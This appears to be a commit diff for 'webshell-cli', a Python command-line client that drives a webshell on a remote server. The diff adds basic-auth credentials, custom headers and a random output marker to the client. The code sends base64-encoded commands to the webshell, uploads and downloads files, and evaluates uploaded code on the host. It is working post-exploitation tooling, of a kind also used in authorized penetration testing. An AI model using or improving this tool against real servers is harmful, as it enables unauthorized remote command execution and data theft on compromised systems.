1
1
#!/usr/bin/python3 -W ignore
2
2
3
+ import re
3
4
import sys
5
+ import uuid
4
6
import shlex
5
7
import base64
6
8
import pathlib
@@ -46,12 +48,24 @@ class ParameterCountException(Exception):
46
48
'''
47
49
48
50
51
+ class PatternNotFoundException (Exception ):
52
+ '''
53
+ When the webshell pattern cannot be found within the output.
54
+ '''
55
+
56
+
49
57
class InvalidProtocolException (Exception ):
50
58
'''
51
59
When the user specified URL uses an invalid protocol.
52
60
'''
53
61
54
62
63
+ class InvalidHeaderException (Exception ):
64
+ '''
65
+ When the user specified an invalid HTTP header.
66
+ '''
67
+
68
+
55
69
def prepare_url (url : str ) -> str :
56
70
'''
57
71
Parses the user specified URL and adds an HTTP prefix if required.
@@ -178,6 +192,7 @@ class Webshell:
178
192
The webshell class is used to interact with a webshell.
179
193
'''
180
194
action = 'action'
195
+ pattern = 'pattern'
181
196
cmd_param = 'b64_cmd'
182
197
env_param = 'b64_env'
183
198
back_param = 'back'
@@ -192,7 +207,7 @@ class Webshell:
192
207
upload_action = 'upload'
193
208
download_action = 'download'
194
209
195
- def __init__ (self , url : str , shell : str ) -> None :
210
+ def __init__ (self , url : str , shell : str , pattern : str , username : str , password : str , headers : str ) -> None :
196
211
'''
197
212
Initializes a webshell object. The only really required parameter is
198
213
the URL the webshell is reachable on. The shell parameter can be
@@ -202,6 +217,10 @@ def __init__(self, url: str, shell: str) -> None:
202
217
Parameters:
203
218
url The URL of the webshell
204
219
shell Shell command to use on the server side
220
+ pattern Optional pattern to find the shell response
221
+ username Username to use for basic authentication
222
+ password Password to use for basic authentication
223
+ headers Additional HTTP headers
205
224
206
225
Returns:
207
226
None
@@ -218,6 +237,24 @@ def __init__(self, url: str, shell: str) -> None:
218
237
self .posix = None
219
238
self .path_func = None
220
239
240
+ self .pattern = pattern if pattern is not None else uuid .uuid4 ().hex
241
+ self .regex = re .compile (re .escape (self .pattern ) + '(.+)' + re .escape (self .pattern ))
242
+
243
+ self .session = requests .Session ()
244
+
245
+ if username is not None and password is not None :
246
+ self .session .auth = (username , password )
247
+
248
+ try :
249
+
250
+ for header in headers :
251
+
252
+ key , value = header .split (':' , 1 )
253
+ self .session .headers .update ({key : value .strip ()})
254
+
255
+ except ValueError :
256
+ raise InvalidHeaderException (f'The specified header value { header } is invalid.' )
257
+
221
258
self .init ()
222
259
223
260
def init (self ) -> None :
@@ -230,8 +267,13 @@ def init(self) -> None:
230
267
Returns:
231
268
None
232
269
'''
233
- response = requests .post (self .url , data = {Webshell .action : Webshell .init_action })
234
- result = Webshell .get_response (response , 'init' )
270
+ data = {
271
+ Webshell .action : Webshell .init_action ,
272
+ Webshell .pattern : self .pattern ,
273
+ }
274
+
275
+ response = self .session .post (self .url , data = data )
276
+ result = self .get_response (response , 'init' )
235
277
236
278
sep , self .type , self .user , self .host , self .path = self .get_values (result , 5 , True , False )
237
279
@@ -330,6 +372,7 @@ def issue_command(self, cmd: str, background: bool = False) -> str:
330
372
Webshell .cmd_param : b64 (f'{ self .shell } { cmd } ' ),
331
373
Webshell .chdir_param : b64 (self .path ),
332
374
Webshell .env_param : self .get_env (),
375
+ Webshell .pattern : self .pattern ,
333
376
}
334
377
335
378
if background :
@@ -341,15 +384,15 @@ def issue_command(self, cmd: str, background: bool = False) -> str:
341
384
data [Webshell .cmd_param ] = b64 (f'{ self .shell } { cmd } ' )
342
385
343
386
try :
344
- requests .post (self .url , data = data , timeout = 0.0000000001 )
387
+ self . session .post (self .url , data = data , timeout = 0.0000000001 )
345
388
346
389
except requests .exceptions .ReadTimeout :
347
390
pass
348
391
349
392
else :
350
393
351
- response = requests .post (self .url , data = data )
352
- result = Webshell .get_response (response , 'issue_command' )
394
+ response = self . session .post (self .url , data = data )
395
+ result = self .get_response (response , 'issue_command' )
353
396
354
397
result , self .path = self .get_values (result , 2 , True )
355
398
return result
@@ -387,10 +430,11 @@ def eval(self, cmd: str) -> str:
387
430
Webshell .chdir_param : b64 (self .path ),
388
431
Webshell .env_param : self .get_env (),
389
432
Webshell .upload_param : b64 (content ),
433
+ Webshell .pattern : self .pattern ,
390
434
}
391
435
392
- response = requests .post (self .url , data = data )
393
- Webshell .get_response (response , 'eval' )
436
+ response = self . session .post (self .url , data = data )
437
+ self .get_response (response , 'eval' )
394
438
395
439
return f'[+] { path .absolute ()} was evaluated by the server.'
396
440
@@ -409,13 +453,22 @@ def change_directory(self, cmd: str = None) -> str:
409
453
if not cmd .startswith ('cd' ):
410
454
raise InternalError ('change_directory was called despite cd not used.' )
411
455
412
- _ , path = cmd .split (' ' , 1 )
456
+ try :
457
+ _ , path = cmd .split (' ' , 1 )
458
+
459
+ except ValueError :
460
+ raise ValueError ('Usage: cd <DIR>' )
413
461
414
462
if not self .path_func (path ).is_absolute () and self .path is not None :
415
463
path = self .path .joinpath (path )
416
464
417
- response = requests .post (self .url , data = {Webshell .chdir_param : b64 (normpath (path ))})
418
- result = Webshell .get_response (response , 'change_directory' )
465
+ data = {
466
+ Webshell .chdir_param : b64 (normpath (path )),
467
+ Webshell .pattern : self .pattern ,
468
+ }
469
+
470
+ response = self .session .post (self .url , data = data )
471
+ result = self .get_response (response , 'change_directory' )
419
472
420
473
self .path = self .get_values (result , 1 , True )[0 ]
421
474
@@ -453,11 +506,12 @@ def upload_file(self, cmd: str) -> str:
453
506
Webshell .upload_param : b64 (content ),
454
507
Webshell .filename_param : b64 (rfile ),
455
508
Webshell .chdir_param : b64 (self .path ),
456
- Webshell .orig_param : b64 (lfile .name )
509
+ Webshell .orig_param : b64 (lfile .name ),
510
+ Webshell .pattern : self .pattern ,
457
511
}
458
512
459
- response = requests .post (self .url , data = request_data )
460
- Webshell .get_response (response , 'upload_file' )
513
+ response = self . session .post (self .url , data = request_data )
514
+ self .get_response (response , 'upload_file' )
461
515
462
516
return f'[+] Uploaded { len (content )} Bytes to { rfile } '
463
517
@@ -488,11 +542,12 @@ def download_file(self, cmd: str) -> str:
488
542
request_data = {
489
543
Webshell .action : Webshell .download_action ,
490
544
Webshell .filename_param : b64 (rfile ),
491
- Webshell .chdir_param : b64 (self .path )
545
+ Webshell .chdir_param : b64 (self .path ),
546
+ Webshell .pattern : self .pattern ,
492
547
}
493
548
494
- response = requests .post (self .url , data = request_data )
495
- result = Webshell .get_response (response , 'download_file' )
549
+ response = self . session .post (self .url , data = request_data )
550
+ result = self .get_response (response , 'download_file' )
496
551
497
552
content , _ = self .get_values (result , 2 , False )
498
553
@@ -548,7 +603,7 @@ def get_values(self, data: str, count: int, decode: bool = False, path: bool = T
548
603
549
604
return return_value
550
605
551
- def get_response (response : requests .Response , action : str ) -> str :
606
+ def get_response (self , response : requests .Response , action : str ) -> str :
552
607
'''
553
608
Extracts the HTTP response text and handles some common errors.
554
609
The status code 202 is expected to be returned if the requested
@@ -563,16 +618,21 @@ def get_response(response: requests.Response, action: str) -> str:
563
618
Returns:
564
619
str extracted response text
565
620
'''
566
- if response .status_code == 202 :
567
- message = b64d (response .text ).decode ()
568
- raise InvalidDirectoryException (message )
569
-
570
- if response .status_code != 200 :
621
+ if response .status_code != 200 and response .status_code != 202 :
571
622
message = f'HTTP status code for { action } : { response .status_code } '
572
- message += ' - ' + response .text if response .text else ''
623
+ message += ' - Server response: \n ' + response .text if response .text else ''
573
624
raise ServerError (message )
574
625
575
- return response .text
626
+ result = self .regex .search (response .text )
627
+
628
+ if not result :
629
+ raise PatternNotFoundException (f'Pattern { self .pattern } was not found in the server output.' )
630
+
631
+ if response .status_code == 202 :
632
+ message = b64d (result .groups (1 )[0 ]).decode ()
633
+ raise InvalidDirectoryException (message )
634
+
635
+ return result .groups (1 )[0 ]
576
636
577
637
def get_files (self , cmd : str , path_func1 : Callable , path_func2 : Callable ) -> tuple :
578
638
'''
@@ -699,10 +759,14 @@ def handle_cmd(self, cmd: str) -> str:
699
759
parser = argparse .ArgumentParser (description = '''webshell-cli v1.0.0 - A simple command line interface for webshells''' )
700
760
parser .add_argument ('url' , help = 'url of the webshell' )
701
761
parser .add_argument ('-m' , '--memory' , action = 'store_true' , help = 'use InMemoryHistory instead of FileHistory' )
702
- parser .add_argument ('-f' , '--file-history' , default = history , help = f'location of history file (default: { history } )' )
703
- parser .add_argument ('-s' , '--shell' , default = None , help = 'use the specified shell command (e.g. "powershell -c")' )
704
- args = parser .parse_args ()
762
+ parser .add_argument ('-f' , '--file-history' , metavar = 'file' , default = history , help = f'history file (default: { history } )' )
763
+ parser .add_argument ('-s' , '--shell' , metavar = 'shell' , help = 'use the specified shell command (e.g. "powershell -c")' )
764
+ parser .add_argument ('--pattern' , metavar = 'pattern' , help = 'pattern to identify webshell output (default: random)' )
765
+ parser .add_argument ('-u' , '--username' , metavar = 'user' , help = 'username for basic authentication' )
766
+ parser .add_argument ('-p' , '--password' , metavar = 'pass' , help = 'password for basic authentication' )
767
+ parser .add_argument ('-H' , '--header' , metavar = 'header' , nargs = '*' , default = [], help = 'additional HTTP headers' )
705
768
769
+ args = parser .parse_args ()
706
770
check_shell (args .shell )
707
771
708
772
try :
@@ -717,7 +781,7 @@ def handle_cmd(self, cmd: str) -> str:
717
781
history = FileHistory (args .file_history )
718
782
719
783
url = prepare_url (args .url )
720
- webshell = Webshell (url , args .shell )
784
+ webshell = Webshell (url , args .shell , args . pattern , args . username , args . password , args . header )
721
785
webshell .cmd_loop (history )
722
786
723
787
except ServerError as e :
@@ -728,6 +792,14 @@ def handle_cmd(self, cmd: str) -> str:
728
792
print ('[-] Server response contained an unexpected amount of parameters.' )
729
793
print (f'[-] Webshell at { args .url } is not functional.' )
730
794
795
+ except PatternNotFoundException as e :
796
+ print ('[-] Caught PatternNotFoundException while parsing server response.' )
797
+ print (f'[-] Error: { e } ' )
798
+
799
+ except InvalidHeaderException as e :
800
+ print ('[-] Caught InvalidHeaderException while preparing request.' )
801
+ print (f'[-] Error: { e } ' )
802
+
731
803
except IsADirectoryError as e :
732
804
print ('[-] The specified filename is an existing directory:' )
733
805
print (f'[-] { e } ' )
0 commit comments